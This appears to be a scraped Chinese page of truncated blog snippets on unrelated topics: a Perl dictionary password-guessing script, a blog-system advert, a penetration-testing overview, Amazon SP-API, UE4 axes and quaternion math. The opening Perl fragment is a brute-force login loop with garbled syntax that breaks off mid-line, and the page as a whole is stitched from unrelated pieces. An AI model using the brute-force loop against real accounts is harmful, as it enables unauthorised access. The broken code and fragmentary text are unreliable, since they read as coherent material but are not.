use Curl::easy; $ok1; $username"shitusername"; #欲解用户名 open(DICT,"password.txt"); #字典档 while ($passwdtemp<DICT> and $ok!0) { # if ($passwdtemp<DICT>) { # die "no password remain"; # $passwdtemp<D…

溯雪流光

如果说失去了什么&#xff0c;我失去了现实的世界 敏锐的嗅觉不懈的努力 我觉得应该从一些基本的事情开始做起&#xff0c;例如关于对网络协议的深入了解等&#xff0c;而不是仅仅拘泥于对某个漏洞或者某个工具的使用。安全的技术发展很快&#xff0c;从技术上来说你不可能熟知…

个人博客系统源码 溯雪Sxlog轻博客源码 PHP开源 简洁干净轻博客源码

源码简介&#xff1a; 溯雪(sxlog)是一款极为干净的轻博客程序&#xff0c;整个程序包不到200KB&#xff0c;极为简小&#xff0c;比一张照片都要小很多&#xff0c;简洁高效&#xff0c;占用内存极小&#xff0c;不依赖任何数据库&#xff0c;不依赖富文本编辑器&#xff0c;…

常用的渗透测试辅助工具

通常的黑客攻击包括预攻击、攻击和后攻击三个阶段&#xff1b;预攻击阶段主要指一些信息收集和漏洞扫描的过程&#xff1b;攻击过程主要是利用第一阶段发现的漏洞或弱口令等脆弱 性进行入侵&#xff1b;后攻击是指在获得攻击目标的一定权限后&#xff0c;对权限的提升、后面安装…

溯雪-轻博客PHP开源系统

溯雪(sxlog)是一款极为干净的轻博客程序&#xff0c;整个程序包不到200KB&#xff0c;极为简小&#xff0c;比一张照片都要小很多&#xff0c;简洁高效&#xff0c;占用内存极小&#xff0c;不依赖任何数据库&#xff0c;不依赖富文本编辑器&#xff0c;但她却拥有十分强大的排…

Python对接亚马逊电商平台SP-API的一些概念理解准备

❝ 除了第三方服务商&#xff0c;其实亚马逊卖家本身也可以通过和SP-API的对接&#xff0c;利用程序来自动化亚马逊店铺销售运营管理中很多环节的工作&#xff0c;简单的应用比如可以利用SP-API的对接&#xff0c;实现亚马逊卖家后台各类报表的定期自动下载以及数据分析整理工…

UE4 坐标系坐标轴旋转轴

1.UE4的X轴是前方。 2. UE4和unity都是左手坐标系。 3. UE4中&#xff0c;Rotation的X是翻滚角Roll,围绕X轴旋转。Y是俯仰角pitch&#xff0c;围绕Y轴旋转。Z当然是偏航角yaw了&#xff0c;围绕Z轴。 &#xff08;翻滚&#xff09;Roll,&#xff08;俯仰&#xff09;Pitch,&am…

旋转轴、旋转矩阵、四元数之间相互转换

1. 旋转轴To四元数 假设某个旋转是绕单位向量 n [ n x , n y , n z ] n [n_x, n_y, n_z] n[nx​,ny​,nz​]进行了角度为 θ \theta θ的旋转&#xff0c;那么这个旋转的四元数形式为: q [ c o s θ 2 , n x s i n θ 2 , n y s i n θ 2 , n z s i n θ 2 ] q[cos\frac{\…